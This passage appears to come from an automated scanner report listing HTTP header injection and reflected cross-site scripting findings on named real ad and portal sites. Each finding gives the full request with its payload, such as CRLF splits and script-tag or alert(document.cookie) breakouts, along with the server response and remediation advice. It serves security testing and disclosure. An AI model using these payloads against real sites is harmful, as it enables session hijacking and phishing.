The value of REST URL parameter 1 is copied into the Location response header. The payload 48606%0d%0a40911a07938 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.
Request
GET /48606%0d%0a40911a07938 HTTP/1.1 Host: segnalo.alice.it Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 13:16:48 GMT Server: Apache/2.2.3 (Unix) Location: http://segnalo.virgilio.it/userreq.php?username=48606 40911a07938&tag= Vary: Accept-Encoding Content-Length: 338 Connection: close Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://segnalo.virgilio.it/userreq.php?username ...[SNIP]...
The value of the N cookie is copied into the Set-Cookie response header. The payload 75a01%0d%0aefba738129d was submitted in the N cookie. This caused a response containing an injected HTTP header.
Request
GET /rtx/r.js?cmd=AGU&si=17295&pi=M&xs=3&pu=http%253A//www.autobytel.com/x22%2526ifu%253Dhttp%25253A//burp/show/31&v=5.5&cb=96663 HTTP/1.1 Host: tacoda.at.atwola.com Proxy-Connection: keep-alive Referer: http://www.autobytel.com/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ATTACID=a3Z0aWQ9MTZpZjE3YTBrcTBiZ2Q=; ANRTT=60848^1^1296494968; TData=99999|^|56780|60739|#|60848; Anxd=x; N=2:faabfca985572b481d74a4897e4d9013,71e5fe306b3f97af479b09e96a0ca00a75a01%0d%0aefba738129d; ATTAC=a3ZzZWc9OTk5OTk6NTY3ODA6NjA3Mzk6NjA4NDg=
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:22:15 GMT Server: Apache/1.3.37 (Unix) mod_perl/1.29 P3P: policyref="http://www.tacoda.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM" P3P: policyref="http://www.tacoda.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM" Cache-Control: max-age=900 Expires: Mon, 24 Jan 2011 22:37:15 GMT Set-Cookie: ANRTT=60848^1^1296494968|62722^1^1296512535; path=/; expires=Mon, 31-Jan-11 22:22:15 GMT; domain=tacoda.at.atwola.com Set-Cookie: Tsid=0^1295907735^1295909535|17295^1295907735^1295909535; path=/; expires=Mon, 24-Jan-11 22:52:15 GMT; domain=tacoda.at.atwola.com Set-Cookie: TData=99999|^|56780|60739|#|60848|62722; expires=Thu, 19-Jan-12 22:22:15 GMT; path=/; domain=tacoda.at.atwola.com Set-Cookie: Anxd=x; expires=Tue, 25-Jan-11 04:22:15 GMT; path=/; domain=tacoda.at.atwola.com Set-Cookie: N=2:71e5fe306b3f97af479b09e96a0ca00a75a01 efba738129d,3c9757ed1e17089910d4221c9c7e35f4; expires=Thu, 19-Jan-12 22:22:15 GMT; path=/; domain=tacoda.at.atwola.com Set-Cookie: ATTAC=a3ZzZWc9OTk5OTk6NTY3ODA6NjA3Mzk6NjA4NDg6NjI3MjI=; expires=Thu, 19-Jan-12 22:22:15 GMT; path=/; domain=.at.atwola.com Cteonnt-Length: 128 Content-Type: application/x-javascript Content-Length: 128
var ANUT=1; var ANOO=0; var ANSR=1; var ANTID='16if17a0kq0bgd'; var ANSL='99999|^|56780|60739|#|60848|62722'; ANRTXR();
The value of the si request parameter is copied into the Set-Cookie response header. The payload eca17%0d%0a2d0ccfdc61b was submitted in the si parameter. This caused a response containing an injected HTTP header.
Request
GET /rtx/r.js?cmd=AGU&si=eca17%0d%0a2d0ccfdc61b&pi=M&xs=3&pu=http%253A//www.autobytel.com/x22%2526ifu%253Dhttp%25253A//burp/show/31&v=5.5&cb=96663 HTTP/1.1 Host: tacoda.at.atwola.com Proxy-Connection: keep-alive Referer: http://www.autobytel.com/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ATTACID=a3Z0aWQ9MTZpZjE3YTBrcTBiZ2Q=; ANRTT=60848^1^1296494968; TData=99999|^|56780|60739|#|60848; Anxd=x; N=2:faabfca985572b481d74a4897e4d9013,71e5fe306b3f97af479b09e96a0ca00a; ATTAC=a3ZzZWc9OTk5OTk6NTY3ODA6NjA3Mzk6NjA4NDg=
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:20:49 GMT Server: Apache/1.3.37 (Unix) mod_perl/1.29 P3P: policyref="http://www.tacoda.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM" P3P: policyref="http://www.tacoda.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM" Cache-Control: max-age=900 Expires: Mon, 24 Jan 2011 22:35:49 GMT Set-Cookie: ANRTT=60848^1^1296494968|62722^1^1296512449; path=/; expires=Mon, 31-Jan-11 22:20:49 GMT; domain=tacoda.at.atwola.com Set-Cookie: Tsid=0^1295907649^1295909449|eca17 2d0ccfdc61b^1295907649^1295909449; path=/; expires=Mon, 24-Jan-11 22:50:49 GMT; domain=tacoda.at.atwola.com Set-Cookie: TData=99999|^|56780|60739|#|60848|62722; expires=Thu, 19-Jan-12 22:20:49 GMT; path=/; domain=tacoda.at.atwola.com Set-Cookie: Anxd=x; expires=Tue, 25-Jan-11 04:20:49 GMT; path=/; domain=tacoda.at.atwola.com Set-Cookie: N=2:71e5fe306b3f97af479b09e96a0ca00a,3c9757ed1e17089910d4221c9c7e35f4; expires=Thu, 19-Jan-12 22:20:49 GMT; path=/; domain=tacoda.at.atwola.com Set-Cookie: ATTAC=a3ZzZWc9OTk5OTk6NTY3ODA6NjA3Mzk6NjA4NDg6NjI3MjI=; expires=Thu, 19-Jan-12 22:20:49 GMT; path=/; domain=.at.atwola.com ntCoent-Length: 128 Content-Type: application/x-javascript Content-Length: 128
var ANUT=1; var ANOO=0; var ANSR=1; var ANTID='16if17a0kq0bgd'; var ANSL='99999|^|56780|60739|#|60848|62722'; ANRTXR();
The value of REST URL parameter 2 is copied into the Location response header. The payload 7d2d3%0d%0a4fb5754f9c5 was submitted in the REST URL parameter 2. This caused a response containing an injected HTTP header.
Request
GET /mpa/7d2d3%0d%0a4fb5754f9c5/setCookie.do HTTP/1.1 Host: www.myproductadvisor.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Moved Temporarily Date: Tue, 25 Jan 2011 00:08:56 GMT Server: Apache/2.2.3 (CentOS) Set-Cookie: UIVERSION_COOKIE=1; Path=/mpa/ Location: http://www.myproductadvisor.com/mpa/base/7d2d3 4fb5754f9c5/setCookie.do Content-Length: 0 P3P: policyref="/content/w3c/p3p.xml", CP="NOI DSP NID CURa ADMa DEVa TAIa PSAa PSDa OUR NOR IND COM NAV STA" Connection: close Content-Type: text/plain; charset=UTF-8
4. Cross-site scripting (reflected)previousnext There are 2093 instances of this issue:
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the id request parameter is copied into the HTML document as plain text between tags. The payload 5f85f<script>alert(1)</script>5f7015187b was submitted in the id parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adops/google/rev2/afc/css/?fn=afc_sf_lbd_x3.css&id=fad815f85f<script>alert(1)</script>5f7015187b&class= HTTP/1.1 Host: a.fsdn.com Proxy-Connection: keep-alive Referer: http://sourceforge.net/softwaremap/?a3f06%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8a4aedca02f=1 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Apache/2.2.3 (CentOS) Content-Type: text/css; charset=ISO-8859-1 Vary: Accept-Encoding Cache-Control: public, max-age=1209600 Expires: Tue, 08 Feb 2011 04:24:44 GMT Date: Tue, 25 Jan 2011 04:24:44 GMT Connection: close Content-Length: 1410
The value of the height request parameter is copied into an HTML comment. The payload a75da--><script>alert(1)</script>e874b2130e was submitted in the height parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /serve.js?tag=home_leaderboard_iframe&width=728&height=90a75da--><script>alert(1)</script>e874b2130e&rand=99954773672 HTTP/1.1 Host: ads.tweetmeme.com Proxy-Connection: keep-alive Referer: http://tweetmeme.com/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: tm_identity=1e736a4ffb2b89d8eb9feef196afe056
The value of the width request parameter is copied into an HTML comment. The payload ab33b--><script>alert(1)</script>47c6f06bcd0 was submitted in the width parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /serve.js?tag=home_leaderboard_iframe&width=728ab33b--><script>alert(1)</script>47c6f06bcd0&height=90&rand=99954773672 HTTP/1.1 Host: ads.tweetmeme.com Proxy-Connection: keep-alive Referer: http://tweetmeme.com/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: tm_identity=1e736a4ffb2b89d8eb9feef196afe056
The value of the AMod request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 704ac"-alert(1)-"36514afc716 was submitted in the AMod parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /tase/ad?AdBoxType=16&url=HI_ATC_Q4_HP&inv=autotrader&adId=t_736917&esc=0&rnd=838005&rcu=http://adserving.autotrader.com/event.ng/Type=click&FlightID=850600&AdID=2117284&TargetID=216438&ASeg=&AMod=704ac"-alert(1)-"36514afc716&Segments=16718,17659,19280,19287,37200,41196,42568,51045,53802,93061,97293,107723,108064,112527,113656,116342,126077,132791,134700,140537,141190,142846,144937,146126,146297,146313,148888,149643&Targets=259945,259951,259957,259963,259969,259975,259981,155805,272133,216438,238656,262343,215180,217333,267376,267611,279401,271887,272977&Values=307,310,320,325,1168,1626,1638,1686,1720,1969,2016,2760,2796,2799,4690,7532,10209,10274,10433,11866,19959,34058,35455,36491,36879,37550,39460,39471,42434,42492,42493,43920&RawValues=PAGE_INSTANCEID%2C095352382072745203%2CTIMEID%2C1295921986&Redirect= HTTP/1.1 Host: adserver.teracent.net Proxy-Connection: keep-alive Referer: http://www.autotrader.com/?bc4cb%22%3balert(document.cookie)//1ee177b82c=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=MoWMI9J.4ChiO7o; imp=a$le#1295889980185_145363176_ap2100_int|
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Expires: Sat, 6 May 1995 12:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: imp=a$le#1295929626144_58947126_as2100_imp|285#1295929626144_58947126_as2100_imp|; Domain=.teracent.net; Expires=Sun, 24-Jul-2011 04:27:06 GMT; Path=/tase Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Date: Tue, 25 Jan 2011 04:27:05 GMT Content-Length: 18380
The value of the AMod request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a60bb"><script>alert(1)</script>4b5843a51b0 was submitted in the AMod parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /tase/ad?AdBoxType=16&url=HI_ATC_Q4_HP&inv=autotrader&adId=t_736917&esc=0&rnd=838005&rcu=http://adserving.autotrader.com/event.ng/Type=click&FlightID=850600&AdID=2117284&TargetID=216438&ASeg=&AMod=a60bb"><script>alert(1)</script>4b5843a51b0&Segments=16718,17659,19280,19287,37200,41196,42568,51045,53802,93061,97293,107723,108064,112527,113656,116342,126077,132791,134700,140537,141190,142846,144937,146126,146297,146313,148888,149643&Targets=259945,259951,259957,259963,259969,259975,259981,155805,272133,216438,238656,262343,215180,217333,267376,267611,279401,271887,272977&Values=307,310,320,325,1168,1626,1638,1686,1720,1969,2016,2760,2796,2799,4690,7532,10209,10274,10433,11866,19959,34058,35455,36491,36879,37550,39460,39471,42434,42492,42493,43920&RawValues=PAGE_INSTANCEID%2C095352382072745203%2CTIMEID%2C1295921986&Redirect= HTTP/1.1 Host: adserver.teracent.net Proxy-Connection: keep-alive Referer: http://www.autotrader.com/?bc4cb%22%3balert(document.cookie)//1ee177b82c=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=MoWMI9J.4ChiO7o; imp=a$le#1295889980185_145363176_ap2100_int|
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Expires: Sat, 6 May 1995 12:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: imp=a$le#1295929626071_58947124_as2100_imp|285#1295929626071_58947124_as2100_imp|; Domain=.teracent.net; Expires=Sun, 24-Jul-2011 04:27:06 GMT; Path=/tase Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Date: Tue, 25 Jan 2011 04:27:05 GMT Content-Length: 18525
The value of the ASeg request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fc683"-alert(1)-"2dc1b33b334 was submitted in the ASeg parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /tase/ad?AdBoxType=16&url=HI_ATC_Q4_HP&inv=autotrader&adId=t_736917&esc=0&rnd=838005&rcu=http://adserving.autotrader.com/event.ng/Type=click&FlightID=850600&AdID=2117284&TargetID=216438&ASeg=fc683"-alert(1)-"2dc1b33b334&AMod=&Segments=16718,17659,19280,19287,37200,41196,42568,51045,53802,93061,97293,107723,108064,112527,113656,116342,126077,132791,134700,140537,141190,142846,144937,146126,146297,146313,148888,149643&Targets=259945,259951,259957,259963,259969,259975,259981,155805,272133,216438,238656,262343,215180,217333,267376,267611,279401,271887,272977&Values=307,310,320,325,1168,1626,1638,1686,1720,1969,2016,2760,2796,2799,4690,7532,10209,10274,10433,11866,19959,34058,35455,36491,36879,37550,39460,39471,42434,42492,42493,43920&RawValues=PAGE_INSTANCEID%2C095352382072745203%2CTIMEID%2C1295921986&Redirect= HTTP/1.1 Host: adserver.teracent.net Proxy-Connection: keep-alive Referer: http://www.autotrader.com/?bc4cb%22%3balert(document.cookie)//1ee177b82c=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=MoWMI9J.4ChiO7o; imp=a$le#1295889980185_145363176_ap2100_int|
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Expires: Sat, 6 May 1995 12:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: imp=a$le#1295929625799_58947114_as2100_imp|285#1295929625799_58947114_as2100_imp|; Domain=.teracent.net; Expires=Sun, 24-Jul-2011 04:27:05 GMT; Path=/tase Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Date: Tue, 25 Jan 2011 04:27:04 GMT Content-Length: 19370
The value of the ASeg request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 90217"><script>alert(1)</script>6ce426e55d3 was submitted in the ASeg parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /tase/ad?AdBoxType=16&url=HI_ATC_Q4_HP&inv=autotrader&adId=t_736917&esc=0&rnd=838005&rcu=http://adserving.autotrader.com/event.ng/Type=click&FlightID=850600&AdID=2117284&TargetID=216438&ASeg=90217"><script>alert(1)</script>6ce426e55d3&AMod=&Segments=16718,17659,19280,19287,37200,41196,42568,51045,53802,93061,97293,107723,108064,112527,113656,116342,126077,132791,134700,140537,141190,142846,144937,146126,146297,146313,148888,149643&Targets=259945,259951,259957,259963,259969,259975,259981,155805,272133,216438,238656,262343,215180,217333,267376,267611,279401,271887,272977&Values=307,310,320,325,1168,1626,1638,1686,1720,1969,2016,2760,2796,2799,4690,7532,10209,10274,10433,11866,19959,34058,35455,36491,36879,37550,39460,39471,42434,42492,42493,43920&RawValues=PAGE_INSTANCEID%2C095352382072745203%2CTIMEID%2C1295921986&Redirect= HTTP/1.1 Host: adserver.teracent.net Proxy-Connection: keep-alive Referer: http://www.autotrader.com/?bc4cb%22%3balert(document.cookie)//1ee177b82c=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=MoWMI9J.4ChiO7o; imp=a$le#1295889980185_145363176_ap2100_int|
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Expires: Sat, 6 May 1995 12:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: imp=a$le#1295929625726_58540610_as2106_imp|285#1295929625726_58540610_as2106_imp|; Domain=.teracent.net; Expires=Sun, 24-Jul-2011 04:27:05 GMT; Path=/tase Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Date: Tue, 25 Jan 2011 04:27:05 GMT Content-Length: 18514
The value of the AdID request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f9b4b"><script>alert(1)</script>7111b958da3 was submitted in the AdID parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /tase/ad?AdBoxType=16&url=HI_ATC_Q4_HP&inv=autotrader&adId=t_736917&esc=0&rnd=838005&rcu=http://adserving.autotrader.com/event.ng/Type=click&FlightID=850600&AdID=2117284f9b4b"><script>alert(1)</script>7111b958da3&TargetID=216438&ASeg=&AMod=&Segments=16718,17659,19280,19287,37200,41196,42568,51045,53802,93061,97293,107723,108064,112527,113656,116342,126077,132791,134700,140537,141190,142846,144937,146126,146297,146313,148888,149643&Targets=259945,259951,259957,259963,259969,259975,259981,155805,272133,216438,238656,262343,215180,217333,267376,267611,279401,271887,272977&Values=307,310,320,325,1168,1626,1638,1686,1720,1969,2016,2760,2796,2799,4690,7532,10209,10274,10433,11866,19959,34058,35455,36491,36879,37550,39460,39471,42434,42492,42493,43920&RawValues=PAGE_INSTANCEID%2C095352382072745203%2CTIMEID%2C1295921986&Redirect= HTTP/1.1 Host: adserver.teracent.net Proxy-Connection: keep-alive Referer: http://www.autotrader.com/?bc4cb%22%3balert(document.cookie)//1ee177b82c=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=MoWMI9J.4ChiO7o; imp=a$le#1295889980185_145363176_ap2100_int|
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Expires: Sat, 6 May 1995 12:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: imp=a$le#1295929624833_58477199_as2109_imp|285#1295929624833_58477199_as2109_imp|; Domain=.teracent.net; Expires=Sun, 24-Jul-2011 04:27:04 GMT; Path=/tase Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Date: Tue, 25 Jan 2011 04:27:04 GMT Content-Length: 18677
The value of the AdID request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 68150"-alert(1)-"af2d3269c19 was submitted in the AdID parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /tase/ad?AdBoxType=16&url=HI_ATC_Q4_HP&inv=autotrader&adId=t_736917&esc=0&rnd=838005&rcu=http://adserving.autotrader.com/event.ng/Type=click&FlightID=850600&AdID=211728468150"-alert(1)-"af2d3269c19&TargetID=216438&ASeg=&AMod=&Segments=16718,17659,19280,19287,37200,41196,42568,51045,53802,93061,97293,107723,108064,112527,113656,116342,126077,132791,134700,140537,141190,142846,144937,146126,146297,146313,148888,149643&Targets=259945,259951,259957,259963,259969,259975,259981,155805,272133,216438,238656,262343,215180,217333,267376,267611,279401,271887,272977&Values=307,310,320,325,1168,1626,1638,1686,1720,1969,2016,2760,2796,2799,4690,7532,10209,10274,10433,11866,19959,34058,35455,36491,36879,37550,39460,39471,42434,42492,42493,43920&RawValues=PAGE_INSTANCEID%2C095352382072745203%2CTIMEID%2C1295921986&Redirect= HTTP/1.1 Host: adserver.teracent.net Proxy-Connection: keep-alive Referer: http://www.autotrader.com/?bc4cb%22%3balert(document.cookie)//1ee177b82c=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=MoWMI9J.4ChiO7o; imp=a$le#1295889980185_145363176_ap2100_int|
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Expires: Sat, 6 May 1995 12:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: imp=a$le#1295929624906_58475714_as2110_imp|285#1295929624906_58475714_as2110_imp|; Domain=.teracent.net; Expires=Sun, 24-Jul-2011 04:27:04 GMT; Path=/tase Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Date: Tue, 25 Jan 2011 04:27:04 GMT Content-Length: 18410
The value of the FlightID request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e9a8e"><script>alert(1)</script>c449e67c456 was submitted in the FlightID parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /tase/ad?AdBoxType=16&url=HI_ATC_Q4_HP&inv=autotrader&adId=t_736917&esc=0&rnd=838005&rcu=http://adserving.autotrader.com/event.ng/Type=click&FlightID=850600e9a8e"><script>alert(1)</script>c449e67c456&AdID=2117284&TargetID=216438&ASeg=&AMod=&Segments=16718,17659,19280,19287,37200,41196,42568,51045,53802,93061,97293,107723,108064,112527,113656,116342,126077,132791,134700,140537,141190,142846,144937,146126,146297,146313,148888,149643&Targets=259945,259951,259957,259963,259969,259975,259981,155805,272133,216438,238656,262343,215180,217333,267376,267611,279401,271887,272977&Values=307,310,320,325,1168,1626,1638,1686,1720,1969,2016,2760,2796,2799,4690,7532,10209,10274,10433,11866,19959,34058,35455,36491,36879,37550,39460,39471,42434,42492,42493,43920&RawValues=PAGE_INSTANCEID%2C095352382072745203%2CTIMEID%2C1295921986&Redirect= HTTP/1.1 Host: adserver.teracent.net Proxy-Connection: keep-alive Referer: http://www.autotrader.com/?bc4cb%22%3balert(document.cookie)//1ee177b82c=1 Accept: 